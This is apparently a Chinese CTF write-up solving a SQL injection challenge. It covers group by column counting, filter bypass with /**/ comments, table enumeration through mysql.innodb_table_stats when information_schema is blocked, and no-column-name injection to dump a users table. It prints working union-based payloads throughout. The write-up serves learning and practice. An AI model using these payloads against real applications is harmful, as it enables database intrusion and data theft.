知识点
- 无列名注入
- information_schema的绕过
- group by的使用
解题
- 首先判断了一下闭合方式,发现是单引号闭合,其次发现了updatexml,or,空格,#的过滤
-
判断字段数
前面的or被过滤了,无法用order by,空格过滤倒是好绕过/**/,其次就是#的过滤
这里无法用order by 可以改用group by
GROUP BY 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。
下面给出示例
就是构造闭合当输入1’时候查看返回的报错是’1’’ limit 0,1,我们构造闭合可以在输入的值后面再加一个’
构造的语句,爆出Unknown column ‘23’ in ‘group statement’,确定有22个字段
1'/**/group/**/by/**/23,'
闭合后就是
'1' group by 23,'' limit 0,1
爆显示
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
爆表名
这里的information被过滤了,所以不可以用information_schema来爆表名称
补充知识点
1.InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,mysql数据库中inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。其利用方式是:mysql.innodb_index_stats和mysql.innodb_table_stats
2.sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。其用法是sys.schema_auto_increment_columns
我们可以用INNODB_TABLES来查询表名,得到了五张表名
select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
3.但是InnoDb无法查询字段名称,所以我们没有办法去获取字段名,接下来就是无列名注入了
无列名注入
这里好好整理了一下
正常查询一个表里的数据:select from users;
但是我们用union查询的时候输入:select 1,2,3,4 union select from users;
它会以列名为1,2,3,4来返回表的数据
并且我们可以用1,2,3,4来查询表的中单独字段的数据,这是一个派生表后边的a可以用任意的值替代,相当于为这个表临时取了个名字由于经常会过滤``这个符号我们还可以用as为字段命名
差不多就这样吧,开始解题/*爆显示的语句*/
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
/*无列名查询语句*/
select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a
/*将无列名查询的语句替换爆显语句的2的位置
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'